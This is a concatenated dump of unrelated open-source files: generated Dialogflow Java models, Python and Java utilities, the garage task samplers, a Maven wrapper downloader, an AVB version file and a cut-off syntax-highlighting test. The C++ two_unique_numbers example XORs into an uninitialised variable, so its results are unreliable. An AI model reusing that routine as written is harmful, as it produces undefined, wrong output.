* This code was generated by https://github.com/googleapis/google-api-java-client-services/
* Modify at your own risk.
*/
package com.google.api.services.dialogflow.v3.model;
/**
* The request message for a webhook call.
*
* <p> This is the Java data model class that specifies how to parse/serialize into the JSON that is
* transmitted over HTTP when working with the Dialogflow API. For a detailed explanation see:
* <a href="https://developers.google.com/api-client-library/java/google-http-java-client/json">https://developers.google.com/api-client-library/java/google-http-java-client/json</a>
* </p>
*
* @author Google, Inc.
*/
@SuppressWarnings("javadoc")
public final class GoogleCloudDialogflowV2beta1WebhookRequest extends com.google.api.client.json.GenericJson {
/**
* Alternative query results from KnowledgeService.
* The value may be {@code null}.
*/
@com.google.api.client.util.Key
private java.util.List<GoogleCloudDialogflowV2beta1QueryResult> alternativeQueryResults;
static {
// hack to force ProGuard to consider GoogleCloudDialogflowV2beta1QueryResult used, since otherwise it would be stripped out
// see https://github.com/google/google-api-java-client/issues/543
com.google.api.client.util.Data.nullOf(GoogleCloudDialogflowV2beta1QueryResult.class);
}
/**
* Optional. The contents of the original request that was passed to `[Streaming]DetectIntent`
* call.
* The value may be {@code null}.
*/
@com.google.api.client.util.Key
private GoogleCloudDialogflowV2beta1OriginalDetectIntentRequest originalDetectIntentRequest;
/**
* The result of the conversational query or event processing. Contains the same value as
* `[Streaming]DetectIntentResponse.query_result`.
* The value may be {@code null}.
*/
@com.google.api.client.util.Key
private GoogleCloudDialogflowV2beta1QueryResult queryResult;
/**
* The unique identifier of the response. Contains the same value as
* `[Streaming]DetectIntentResponse.response_id`.
* The value may be {@code null}.
*/
@com.google.api.client.util.Key
private java.lang.String responseId;
/**
* The unique identifier of detectIntent request session. Can be used to identify end-user inside
* webhook implementation. Supported formats: - `projects//agent/sessions/, -
* `projects//locations//agent/sessions/`, - `projects//agent/environments//users//sessions/`, -
* `projects//locations//agent/environments//users//sessions/`,
* The value may be {@code null}.
*/
@com.google.api.client.util.Key
private java.lang.String session;
/**
* Alternative query results from KnowledgeService.
* @return value or {@code null} for none
*/
public java.util.List<GoogleCloudDialogflowV2beta1QueryResult> getAlternativeQueryResults() {
return alternativeQueryResults;
}
/**
* Alternative query results from KnowledgeService.
* @param alternativeQueryResults alternativeQueryResults or {@code null} for none
*/
public GoogleCloudDialogflowV2beta1WebhookRequest setAlternativeQueryResults(java.util.List<GoogleCloudDialogflowV2beta1QueryResult> alternativeQueryResults) {
this.alternativeQueryResults = alternativeQueryResults;
return this;
}
/**
* Optional. The contents of the original request that was passed to `[Streaming]DetectIntent`
* call.
* @return value or {@code null} for none
*/
public GoogleCloudDialogflowV2beta1OriginalDetectIntentRequest getOriginalDetectIntentRequest() {
return originalDetectIntentRequest;
}
/**
* Optional. The contents of the original request that was passed to `[Streaming]DetectIntent`
* call.
* @param originalDetectIntentRequest originalDetectIntentRequest or {@code null} for none
*/
public GoogleCloudDialogflowV2beta1WebhookRequest setOriginalDetectIntentRequest(GoogleCloudDialogflowV2beta1OriginalDetectIntentRequest originalDetectIntentRequest) {
this.originalDetectIntentRequest = originalDetectIntentRequest;
return this;
}
/**
* The result of the conversational query or event processing. Contains the same value as
* `[Streaming]DetectIntentResponse.query_result`.
* @return value or {@code null} for none
*/
public GoogleCloudDialogflowV2beta1QueryResult getQueryResult() {
return queryResult;
}
/**
* The result of the conversational query or event processing. Contains the same value as
* `[Streaming]DetectIntentResponse.query_result`.
* @param queryResult queryResult or {@code null} for none
*/
public GoogleCloudDialogflowV2beta1WebhookRequest setQueryResult(GoogleCloudDialogflowV2beta1QueryResult queryResult) {
this.queryResult = queryResult;
return this;
}
/**
* The unique identifier of the response. Contains the same value as
* `[Streaming]DetectIntentResponse.response_id`.
* @return value or {@code null} for none
*/
public java.lang.String getResponseId() {
return responseId;
}
/**
* The unique identifier of the response. Contains the same value as
* `[Streaming]DetectIntentResponse.response_id`.
* @param responseId responseId or {@code null} for none
*/
public GoogleCloudDialogflowV2beta1WebhookRequest setResponseId(java.lang.String responseId) {
this.responseId = responseId;
return this;
}
/**
* The unique identifier of detectIntent request session. Can be used to identify end-user inside
* webhook implementation. Supported formats: - `projects//agent/sessions/, -
* `projects//locations//agent/sessions/`, - `projects//agent/environments//users//sessions/`, -
* `projects//locations//agent/environments//users//sessions/`,
* @return value or {@code null} for none
*/
public java.lang.String getSession() {
return session;
}
/**
* The unique identifier of detectIntent request session. Can be used to identify end-user inside
* webhook implementation. Supported formats: - `projects//agent/sessions/, -
* `projects//locations//agent/sessions/`, - `projects//agent/environments//users//sessions/`, -
* `projects//locations//agent/environments//users//sessions/`,
* @param session session or {@code null} for none
*/
public GoogleCloudDialogflowV2beta1WebhookRequest setSession(java.lang.String session) {
this.session = session;
return this;
}
@Override
public GoogleCloudDialogflowV2beta1WebhookRequest set(String fieldName, Object value) {
return (GoogleCloudDialogflowV2beta1WebhookRequest) super.set(fieldName, value);
}
@Override
public GoogleCloudDialogflowV2beta1WebhookRequest clone() {
return (GoogleCloudDialogflowV2beta1WebhookRequest) super.clone();
}
}
| 2,152 |
301 | # Copyright 2015 Confluent Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import socket
def find_available_port(min_port=8000, max_port=9000):
"""Return first available port in the range [min_port, max_port], inclusive.
Note that this actually isn't a 100% reliable way of getting a port, but it's probably good enough -- once
you close a socket you cannot be sure of its availability. This was the source of a bunch of issues in
the Apache Kafka unit tests.
"""
for p in range(min_port, max_port + 1):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("localhost", p))
s.close()
return p
except socket.error:
pass
raise Exception("No available port found in range [%d, %d]" % (min_port, max_port))
| 433 |
1,771 | <reponame>yrik/datasketch
from datasketch import WeightedMinHashGenerator
import numpy as np
v1 = [1, 3, 4, 5, 6, 7, 8, 9, 10, 4]
v2 = [2, 4, 3, 8, 4, 7, 10, 9, 0, 0]
min_sum = np.sum(np.minimum(v1, v2))
max_sum = np.sum(np.maximum(v1, v2))
true_jaccard = float(min_sum) / float(max_sum)
wmg = WeightedMinHashGenerator(len(v1))
wm1 = wmg.minhash(v1)
wm2 = wmg.minhash(v2)
print("Estimated Jaccard is", wm1.jaccard(wm2))
print("True Jaccard is", true_jaccard)
| 219 |
5,169 | {
"name": "WTSimpleStatistics",
"version": "2.0.0",
"summary": "A library providing support for simple statistical needs and linear regression.",
"description": "WTSimpleStatistics provides support for finding the total, average, variance,\nand standard deviation of a group of measurements. It also lets you perform\nlinear regression, with or without errors in the dependent variable.",
"homepage": "https://github.com/wltrup/Swift-WTSimpleStatistics",
"license": {
"type": "MIT",
"file": "LICENSE"
},
"authors": {
"<NAME>": "<EMAIL>"
},
"source": {
"git": "https://github.com/wltrup/Swift-WTSimpleStatistics.git",
"tag": "2.0.0"
},
"platforms": {
"ios": "8.0"
},
"source_files": "WTSimpleStatistics/Classes/**/*",
"pushed_with_swift_version": "3.0"
}
| 287 |
1,306 | <reponame>app2000/learning_java8
package io.github.biezhi.java8.stream.lesson3;
import io.github.biezhi.java8.stream.Project;
import java.util.List;
import java.util.Map;
import static java.util.stream.Collectors.*;
/**
* 数据分区
* <p>
* Collectors.partitioningBy
* <p>
* 根据前后端将项目分为两组
*
* @author biezhi
* @date 2018/3/2
*/
public class Example4 {
public static boolean isBackEnd(Project project){
return "java".equalsIgnoreCase(project.getLanguage()) || "python".equalsIgnoreCase(project.getLanguage());
}
public static void main(String[] args) {
List<Project> projects = Project.buildData();
Map<Boolean, List<Project>> collect = projects.stream()
.collect(partitioningBy(Example4::isBackEnd));
System.out.println(collect);
}
}
| 338 |
347 | package org.ovirt.engine.core.bll.network.host;
import java.util.Comparator;
import java.util.List;
import java.util.Map;
import java.util.Optional;
import java.util.function.Function;
import java.util.function.Predicate;
import java.util.stream.Collectors;
import java.util.stream.Stream;
import org.ovirt.engine.core.common.businessentities.network.Bond;
import org.ovirt.engine.core.common.businessentities.network.NetworkAttachment;
import org.ovirt.engine.core.common.businessentities.network.NetworkInterface;
import org.ovirt.engine.core.common.businessentities.network.Nic;
import org.ovirt.engine.core.common.businessentities.network.VdsNetworkInterface;
import org.ovirt.engine.core.compat.Guid;
class InterfaceConfigurationMapper {
private List<VdsNetworkInterface> interfaces;
private List<NetworkAttachment> attachments;
private Map<Guid, List<NetworkAttachment>> attachmentsByInterfaceId;
private Map<String, Bond> bondsByName;
private List<Nic> nicsSortedByName;
private Map<String, Guid> interfacesIdByName;
private Map<Guid, Guid> attachmentIdsByNetworkId;
InterfaceConfigurationMapper(List<VdsNetworkInterface> interfaces,
List<NetworkAttachment> attachments) {
this.interfaces = interfaces;
this.attachments = attachments;
this.calcBondsByName();
}
List<VdsNetworkInterface> getInterfaces() {
return interfaces;
}
List<NetworkAttachment> getAttachments() {
return attachments;
}
Map<Guid, List<NetworkAttachment>> calcAttachmentsByInterfaceId() {
if (attachmentsByInterfaceId == null) {
attachmentsByInterfaceId = getAttachments()
.stream()
.collect(Collectors.groupingBy(NetworkAttachment::getNicId));
}
return attachmentsByInterfaceId;
}
List<Nic> getNicsSortedByName() {
if (nicsSortedByName == null) {
nicsSortedByName = filterNicsWithoutManagement(getInterfaces());
nicsSortedByName.sort(Comparator.comparing(VdsNetworkInterface::getName));
}
return nicsSortedByName;
}
Map<String, Guid> calcInterfacesIdByName() {
if (interfacesIdByName == null) {
interfacesIdByName = interfaces
.stream()
.collect(Collectors.toMap(VdsNetworkInterface::getName, NetworkInterface::getId));
}
return interfacesIdByName;
}
Map<Guid, Guid> calcAttachmentIdsByNetworkId() {
if (attachmentIdsByNetworkId == null) {
attachmentIdsByNetworkId = attachments
.stream()
.collect(Collectors.toMap(NetworkAttachment::getNetworkId, NetworkAttachment::getId));
}
return attachmentIdsByNetworkId;
}
Bond getBondByName(String name) {
return bondsByName.get(name);
}
private void calcBondsByName() {
if (bondsByName == null) {
bondsByName = getInterfaces()
.stream()
.filter(VdsNetworkInterface::isBond)
.map(iface -> (Bond) iface)
.collect(Collectors.toMap(VdsNetworkInterface::getName, Function.identity()));
}
}
private List<Nic> filterNicsWithoutManagement(List<VdsNetworkInterface> vdsNetworkInterfaces) {
return filterInterfacesWithoutManagment(vdsNetworkInterfaces)
.stream()
.filter(noBondAndVlanPredicate())
.map(nic -> (Nic) nic)
.collect(Collectors.toList());
}
private List<VdsNetworkInterface> filterInterfacesWithoutManagment(List<VdsNetworkInterface> vdsNetworkInterfaces) {
Optional<VdsNetworkInterface> mgmtInterface = vdsNetworkInterfaces.stream()
.filter(VdsNetworkInterface::getIsManagement)
.findFirst();
if (mgmtInterface.isEmpty()) {
return vdsNetworkInterfaces;
}
Stream<VdsNetworkInterface> interfaces = vdsNetworkInterfaces.stream();
if (mgmtInterface.get().isBond()) {
interfaces = interfaces
.filter(iface -> !iface.isPartOfBond(mgmtInterface.get().getName()));
}
return interfaces
.filter(iface -> !iface.getIsManagement())
.collect(Collectors.toList());
}
private Predicate<VdsNetworkInterface> noBondAndVlanPredicate() {
return iface -> !iface.isBond() && iface.getVlanId() == null;
}
}
| 1,883 |
472 | <filename>_other_languages/cpp/Bitwise/two_unique_numbers.cpp
/**
* Find the two non-repeating elements in an array of repeating elements.
* Given an array in which all numbers except two are repeated once. (i.e. we
* have 2n+2 numbers and n numbers are occurring twice and remaining two have
* occurred once). Find those two numbers in the most efficient way.
*
* URL: https://www.geeksforgeeks.org/find-two-non-repeating-elements-in-an-
* array-of-repeating-elements/
*/
#include <iostream>
#include <vector>
int two_unique_numbers(int arr[], int n)
{
// xor all elements in array
int result;
for (int i = 0; i < n; i++)
result ^= arr[i];
// Check the first bit which is set
int _result = result;
int index = 0;
while (_result > 0) {
if (_result & 1) break;
index++;
_result = _result >> 1;
}
// check the elements where index-th bit is set
int mask = 1 << index;
std::vector<int> temp_arr;
for (int i = 0; i < n; i++) {
if (arr[i] & mask)
temp_arr.push_back(arr[i]);
}
// XOR all element from above step
int a = 0;
for (int i = 0; i < temp_arr.size(); i++)
a ^= temp_arr[i];
int b = result ^ a;
std::cout << a << " " << b << "\n";
return 0;
}
int main()
{
int arr[] = {2, 3, 7, 9, 11, 2, 3, 11};
int n = sizeof(arr)/sizeof(arr[0]);
two_unique_numbers(arr, n);
}
| 586 |
1,607 | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
import java.io.IOException;
import java.io.InputStream;
import java.net.Authenticator;
import java.net.PasswordAuthentication;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.LinkOption;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.nio.file.StandardCopyOption;
import java.nio.file.StandardOpenOption;
import java.util.Properties;
public final class MavenWrapperDownloader
{
private static final String WRAPPER_VERSION = "3.1.1";
private static final boolean VERBOSE = Boolean.parseBoolean( System.getenv( "MVNW_VERBOSE" ) );
/**
* Default URL to download the maven-wrapper.jar from, if no 'downloadUrl' is provided.
*/
private static final String DEFAULT_DOWNLOAD_URL =
"https://repo.maven.apache.org/maven2/org/apache/maven/wrapper/maven-wrapper/" + WRAPPER_VERSION
+ "/maven-wrapper-" + WRAPPER_VERSION + ".jar";
/**
* Path to the maven-wrapper.properties file, which might contain a downloadUrl property to use instead of the
* default one.
*/
private static final String MAVEN_WRAPPER_PROPERTIES_PATH = ".mvn/wrapper/maven-wrapper.properties";
/**
* Path where the maven-wrapper.jar will be saved to.
*/
private static final String MAVEN_WRAPPER_JAR_PATH = ".mvn/wrapper/maven-wrapper.jar";
/**
* Name of the property which should be used to override the default download url for the wrapper.
*/
private static final String PROPERTY_NAME_WRAPPER_URL = "wrapperUrl";
public static void main( String[] args )
{
if ( args.length == 0 )
{
System.err.println( " - ERROR projectBasedir parameter missing" );
System.exit( 1 );
}
log( " - Downloader started" );
final String dir = args[0].replace( "..", "" ); // Sanitize path
final Path projectBasedir = Paths.get( dir ).toAbsolutePath().normalize();
if ( !Files.isDirectory( projectBasedir, LinkOption.NOFOLLOW_LINKS ) )
{
System.err.println( " - ERROR projectBasedir not exists: " + projectBasedir );
System.exit( 1 );
}
log( " - Using base directory: " + projectBasedir );
// If the maven-wrapper.properties exists, read it and check if it contains a custom
// wrapperUrl parameter.
Path mavenWrapperPropertyFile = projectBasedir.resolve( MAVEN_WRAPPER_PROPERTIES_PATH );
String url = readWrapperUrl( mavenWrapperPropertyFile );
try
{
Path outputFile = projectBasedir.resolve( MAVEN_WRAPPER_JAR_PATH );
createDirectories( outputFile.getParent() );
downloadFileFromURL( url, outputFile );
log( "Done" );
System.exit( 0 );
}
catch ( IOException e )
{
System.err.println( "- Error downloading" );
e.printStackTrace();
System.exit( 1 );
}
}
private static void downloadFileFromURL( String urlString, Path destination ) throws IOException
{
log( " - Downloading to: " + destination );
if ( System.getenv( "MVNW_USERNAME" ) != null && System.getenv( "MVNW_PASSWORD" ) != null )
{
final String username = System.getenv( "MVNW_USERNAME" );
final char[] password = System.getenv( "MVNW_PASSWORD" ).toCharArray();
Authenticator.setDefault( new Authenticator()
{
@Override
protected PasswordAuthentication getPasswordAuthentication()
{
return new PasswordAuthentication( username, password );
}
} );
}
URL website = new URL( urlString );
try ( InputStream inStream = website.openStream() ) {
Files.copy( inStream, destination, StandardCopyOption.REPLACE_EXISTING );
}
log( " - Downloader complete" );
}
private static void createDirectories(Path outputPath) throws IOException
{
if ( !Files.isDirectory( outputPath, LinkOption.NOFOLLOW_LINKS ) ) {
Path createDirectories = Files.createDirectories( outputPath );
log( " - Directories created: " + createDirectories );
}
}
private static String readWrapperUrl( Path mavenWrapperPropertyFile )
{
String url = DEFAULT_DOWNLOAD_URL;
if ( Files.exists( mavenWrapperPropertyFile, LinkOption.NOFOLLOW_LINKS ) )
{
log( " - Reading property file: " + mavenWrapperPropertyFile );
try ( InputStream in = Files.newInputStream( mavenWrapperPropertyFile, StandardOpenOption.READ ) )
{
Properties mavenWrapperProperties = new Properties();
mavenWrapperProperties.load( in );
url = mavenWrapperProperties.getProperty( PROPERTY_NAME_WRAPPER_URL, DEFAULT_DOWNLOAD_URL );
}
catch ( IOException e )
{
System.err.println( " - ERROR loading '" + MAVEN_WRAPPER_PROPERTIES_PATH + "'" );
}
}
log( " - Downloading from: " + url );
return url;
}
private static void log( String msg )
{
if ( VERBOSE )
{
System.out.println( msg );
}
}
}
| 2,414 |
1,144 | // SPDX-License-Identifier: MIT
/*
* Copyright (C) 2017 The Android Open Source Project
*/
#include "avb_version.h"
#define AVB_QUOTE(str) #str
#define AVB_EXPAND_AND_QUOTE(str) AVB_QUOTE(str)
/* Keep in sync with get_release_string() in avbtool. */
const char* avb_version_string(void) {
return AVB_EXPAND_AND_QUOTE(AVB_VERSION_MAJOR) "." AVB_EXPAND_AND_QUOTE(
AVB_VERSION_MINOR) "." AVB_EXPAND_AND_QUOTE(AVB_VERSION_SUB);
}
| 183 |
1,500 | <reponame>blacksph3re/garage<filename>src/garage/experiment/task_sampler.py
"""Efficient and general interfaces for sampling tasks for Meta-RL."""
# yapf: disable
import abc
import copy
import math
import numpy as np
from garage.envs import GymEnv, TaskNameWrapper, TaskOnehotWrapper
from garage.sampler.env_update import (ExistingEnvUpdate, NewEnvUpdate,
SetTaskUpdate)
# yapf: enable
def _sample_indices(n_to_sample, n_available_tasks, with_replacement):
"""Select indices of tasks to sample.
Args:
n_to_sample (int): Number of environments to sample. May be greater
than n_available_tasks.
n_available_tasks (int): Number of available tasks. Task indices will
be selected in the range [0, n_available_tasks).
with_replacement (bool): Whether tasks can repeat when sampled.
Note that if more tasks are sampled than exist, then tasks may
repeat, but only after every environment has been included at
least once in this batch. Ignored for continuous task spaces.
Returns:
np.ndarray[int]: Array of task indices.
"""
if with_replacement:
return np.random.randint(n_available_tasks, size=n_to_sample)
else:
blocks = []
for _ in range(math.ceil(n_to_sample / n_available_tasks)):
s = np.arange(n_available_tasks)
np.random.shuffle(s)
blocks.append(s)
return np.concatenate(blocks)[:n_to_sample]
class TaskSampler(abc.ABC):
"""Class for sampling batches of tasks, represented as `~EnvUpdate`s.
Attributes:
n_tasks (int or None): Number of tasks, if known and finite.
"""
@abc.abstractmethod
def sample(self, n_tasks, with_replacement=False):
"""Sample a list of environment updates.
Args:
n_tasks (int): Number of updates to sample.
with_replacement (bool): Whether tasks can repeat when sampled.
Note that if more tasks are sampled than exist, then tasks may
repeat, but only after every environment has been included at
least once in this batch. Ignored for continuous task spaces.
Returns:
list[EnvUpdate]: Batch of sampled environment updates, which, when
invoked on environments, will configure them with new tasks.
See :py:class:`~EnvUpdate` for more information.
"""
@property
def n_tasks(self):
"""int or None: The number of tasks if known and finite."""
return None
class ConstructEnvsSampler(TaskSampler):
"""TaskSampler where each task has its own constructor.
Generally, this is used when the different tasks are completely different
environments.
Args:
env_constructors (list[Callable[Environment]]): Callables that produce
environments (for example, environment types).
"""
def __init__(self, env_constructors):
self._env_constructors = env_constructors
@property
def n_tasks(self):
"""int: the number of tasks."""
return len(self._env_constructors)
def sample(self, n_tasks, with_replacement=False):
"""Sample a list of environment updates.
Args:
n_tasks (int): Number of updates to sample.
with_replacement (bool): Whether tasks can repeat when sampled.
Note that if more tasks are sampled than exist, then tasks may
repeat, but only after every environment has been included at
least once in this batch. Ignored for continuous task spaces.
Returns:
list[EnvUpdate]: Batch of sampled environment updates, which, when
invoked on environments, will configure them with new tasks.
See :py:class:`~EnvUpdate` for more information.
"""
return [
NewEnvUpdate(self._env_constructors[i]) for i in _sample_indices(
n_tasks, len(self._env_constructors), with_replacement)
]
class SetTaskSampler(TaskSampler):
"""TaskSampler where the environment can sample "task objects".
This is used for environments that implement `sample_tasks` and `set_task`.
For example, :py:class:`~HalfCheetahVelEnv`, as implemented in Garage.
Args:
env_constructor (type): Type of the environment.
env (garage.Environment or None): Instance of env_constructor to sample
from (will be constructed if not provided).
wrapper (Callable[garage.Environment, garage.Environment] or None):
Wrapper function to apply to environment.
"""
def __init__(self, env_constructor, *, env=None, wrapper=None):
self._env_constructor = env_constructor
self._env = env or env_constructor()
self._wrapper = wrapper
@property
def n_tasks(self):
"""int or None: The number of tasks if known and finite."""
return getattr(self._env, 'num_tasks', None)
def sample(self, n_tasks, with_replacement=False):
"""Sample a list of environment updates.
Args:
n_tasks (int): Number of updates to sample.
with_replacement (bool): Whether tasks can repeat when sampled.
Note that if more tasks are sampled than exist, then tasks may
repeat, but only after every environment has been included at
least once in this batch. Ignored for continuous task spaces.
Returns:
list[EnvUpdate]: Batch of sampled environment updates, which, when
invoked on environments, will configure them with new tasks.
See :py:class:`~EnvUpdate` for more information.
"""
return [
SetTaskUpdate(self._env_constructor, task, self._wrapper)
for task in self._env.sample_tasks(n_tasks)
]
class EnvPoolSampler(TaskSampler):
"""TaskSampler that samples from a finite pool of environments.
This can be used with any environments, but is generally best when using
in-process samplers with environments that are expensive to construct.
Args:
envs (list[Environment]): List of environments to use as a pool.
"""
def __init__(self, envs):
self._envs = envs
@property
def n_tasks(self):
"""int: the number of tasks."""
return len(self._envs)
def sample(self, n_tasks, with_replacement=False):
"""Sample a list of environment updates.
Args:
n_tasks (int): Number of updates to sample.
with_replacement (bool): Whether tasks can repeat when sampled.
Since this cannot be easily implemented for an object pool,
setting this to True results in ValueError.
Raises:
ValueError: If the number of requested tasks is larger than the
pool, or with_replacement is set.
Returns:
list[EnvUpdate]: Batch of sampled environment updates, which, when
invoked on environments, will configure them with new tasks.
See :py:class:`~EnvUpdate` for more information.
"""
if n_tasks > len(self._envs):
raise ValueError('Cannot sample more environments than are '
'present in the pool. If more tasks are needed, '
'call grow_pool to copy random existing tasks.')
if with_replacement:
raise ValueError('EnvPoolSampler cannot meaningfully sample with '
'replacement.')
envs = list(self._envs)
np.random.shuffle(envs)
return [ExistingEnvUpdate(env) for env in envs[:n_tasks]]
def grow_pool(self, new_size):
"""Increase the size of the pool by copying random tasks in it.
Note that this only copies the tasks already in the pool, and cannot
create new original tasks in any way.
Args:
new_size (int): Size the pool should be after growning.
"""
if new_size <= len(self._envs):
return
to_copy = _sample_indices(new_size - len(self._envs),
len(self._envs),
with_replacement=False)
for idx in to_copy:
self._envs.append(copy.deepcopy(self._envs[idx]))
MW_TASKS_PER_ENV = 50
class MetaWorldTaskSampler(TaskSampler):
"""TaskSampler that distributes a Meta-World benchmark across workers.
Args:
benchmark (metaworld.Benchmark): Benchmark to sample tasks from.
kind (str): Must be either 'test' or 'train'. Determines whether to
sample training or test tasks from the Benchmark.
wrapper (Callable[garage.Env, garage.Env] or None): Wrapper to apply to
env instances.
add_env_onehot (bool): If true, a one-hot representing the current
environment name will be added to the environments. Should only be
used with multi-task benchmarks.
Raises:
ValueError: If kind is not 'train' or 'test'. Also raisd if
`add_env_onehot` is used on a metaworld meta learning (not
multi-task) benchmark.
"""
def __init__(self, benchmark, kind, wrapper=None, add_env_onehot=False):
self._benchmark = benchmark
self._kind = kind
self._inner_wrapper = wrapper
self._add_env_onehot = add_env_onehot
if kind == 'train':
self._classes = benchmark.train_classes
self._tasks = benchmark.train_tasks
elif kind == 'test':
self._classes = benchmark.test_classes
self._tasks = benchmark.test_tasks
else:
raise ValueError('kind must be either "train" or "test", '
f'not {kind!r}')
self._task_indices = {}
if add_env_onehot:
if kind == 'test' or 'metaworld.ML' in repr(type(benchmark)):
raise ValueError('add_env_onehot should only be used with '
f'multi-task benchmarks, not {benchmark!r}')
self._task_indices = {
env_name: index
for (index, env_name) in enumerate(self._classes.keys())
}
self._task_map = {
env_name:
[task for task in self._tasks if task.env_name == env_name]
for env_name in self._classes.keys()
}
for tasks in self._task_map.values():
assert len(tasks) == MW_TASKS_PER_ENV
self._task_orders = {
env_name: np.arange(50)
for env_name in self._task_map.keys()
}
self._next_order_index = 0
self._shuffle_tasks()
def _shuffle_tasks(self):
"""Reshuffles the task orders."""
for tasks in self._task_orders.values():
np.random.shuffle(tasks)
@property
def n_tasks(self):
"""int: the number of tasks."""
return len(self._tasks)
def sample(self, n_tasks, with_replacement=False):
"""Sample a list of environment updates.
Note that this will always return environments in the same order, to
make parallel sampling across workers efficient. If randomizing the
environment order is required, shuffle the result of this method.
Args:
n_tasks (int): Number of updates to sample. Must be a multiple of
the number of env classes in the benchmark (e.g. 1 for MT/ML1,
10 for MT10, 50 for MT50). Tasks for each environment will be
grouped to be adjacent to each other.
with_replacement (bool): Whether tasks can repeat when sampled.
Since this cannot be easily implemented for an object pool,
setting this to True results in ValueError.
Raises:
ValueError: If the number of requested tasks is not equal to the
number of classes or the number of total tasks.
Returns:
list[EnvUpdate]: Batch of sampled environment updates, which, when
invoked on environments, will configure them with new tasks.
See :py:class:`~EnvUpdate` for more information.
"""
if n_tasks % len(self._classes) != 0:
raise ValueError('For this benchmark, n_tasks must be a multiple '
f'of {len(self._classes)}')
tasks_per_class = n_tasks // len(self._classes)
updates = []
# Avoid pickling the entire task sampler into every EnvUpdate
inner_wrapper = self._inner_wrapper
add_env_onehot = self._add_env_onehot
task_indices = self._task_indices
def wrap(env, task):
"""Wrap an environment in a metaworld benchmark.
Args:
env (gym.Env): A metaworld / gym environment.
task (metaworld.Task): A metaworld task.
Returns:
garage.Env: The wrapped environment.
"""
env = GymEnv(env, max_episode_length=env.max_path_length)
env = TaskNameWrapper(env, task_name=task.env_name)
if add_env_onehot:
env = TaskOnehotWrapper(env,
task_index=task_indices[task.env_name],
n_total_tasks=len(task_indices))
if inner_wrapper is not None:
env = inner_wrapper(env, task)
return env
for env_name, env in self._classes.items():
order_index = self._next_order_index
for _ in range(tasks_per_class):
task_index = self._task_orders[env_name][order_index]
task = self._task_map[env_name][task_index]
updates.append(SetTaskUpdate(env, task, wrap))
if with_replacement:
order_index = np.random.randint(0, MW_TASKS_PER_ENV)
else:
order_index += 1
order_index %= MW_TASKS_PER_ENV
self._next_order_index += tasks_per_class
if self._next_order_index >= MW_TASKS_PER_ENV:
self._next_order_index %= MW_TASKS_PER_ENV
self._shuffle_tasks()
return updates
| 6,188 |
432 | <filename>debugger/src/libdbg64g/services/debug/edcl_types.h
/*
* Copyright 2019 <NAME>, <EMAIL>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef __DEBUGGER_EDCL_TYPES_H__
#define __DEBUGGER_EDCL_TYPES_H__
#include <inttypes.h>
namespace debugger {
struct EdclControlRequestType {
// 32 bits fields:
uint32_t unused : 7;
uint32_t len : 10;
uint32_t write : 1; // read = 0; write = 1
uint32_t seqidx : 14; // sequence id
//uint32 data; // 0 to 242 words
};
struct EdclControlResponseType {
// 32 bits fields:
uint32_t unused : 7;
uint32_t len : 10;
uint32_t nak : 1; // ACK = 0; NAK = 1
uint32_t seqidx : 14; // sequence id
//uint32 data; // 0 to 242 words
};
#pragma pack(1)
struct UdpEdclCommonType {
uint16_t offset;
union ControlType {
uint32_t word;
EdclControlRequestType request;
EdclControlResponseType response;
} control;
uint32_t address;
//uint32 data; // 0 to 242 words
};
#pragma pack()
} // namespace debugger
#endif // __DEBUGGER_EDCL_TYPES_H__
| 599 |
337 | __author__ = 'maartenbreddels'
import os
import sys
venv = sys.argv[1]
for name in sys.argv[2:]:
module = __import__(name)
if os.path.split(module.__file__)[-1].startswith("__init__"):
source = os.path.dirname(module.__file__)
else:
source = module.__file__
name = os.path.split(source)[-1]
script = os.path.join(os.path.dirname(__file__), "virtualenv_link2.py")
script
os.system("source virtualenv/{venv}/bin/activate; python {script} {source} {name}".format(**locals()))
#code = from distutils.sysconfig import get_python_lib; print(get_python_lib())
#cmd =
#target = sys.argv[1]
| 236 |
1,482 | f"""result: {value:{60}.{16!s:2}{'qwerty'
[2]}}"""
def foo(): pass
f : meta.fstring.python, source.python, storage.type.string.python, string.interpolated.python, string.quoted.multi.python
""" : meta.fstring.python, punctuation.definition.string.begin.python, source.python, string.interpolated.python, string.quoted.multi.python
result: : meta.fstring.python, source.python, string.interpolated.python, string.quoted.multi.python
{ : constant.character.format.placeholder.other.python, meta.fstring.python, source.python
value : meta.fstring.python, source.python
: : meta.fstring.python, source.python, storage.type.format.python
{ : constant.character.format.placeholder.other.python, meta.fstring.python, source.python
60 : constant.numeric.dec.python, meta.fstring.python, source.python
} : constant.character.format.placeholder.other.python, meta.fstring.python, source.python
. : meta.fstring.python, source.python
{ : constant.character.format.placeholder.other.python, meta.fstring.python, source.python
16 : constant.numeric.dec.python, meta.fstring.python, source.python
!s : meta.fstring.python, source.python, storage.type.format.python
:2 : meta.fstring.python, source.python, storage.type.format.python
} : constant.character.format.placeholder.other.python, meta.fstring.python, source.python
{ : constant.character.format.placeholder.other.python, meta.fstring.python, source.python
' : meta.fstring.python, punctuation.definition.string.begin.python, source.python, string.quoted.single.python
qwerty : meta.fstring.python, source.python, string.quoted.single.python
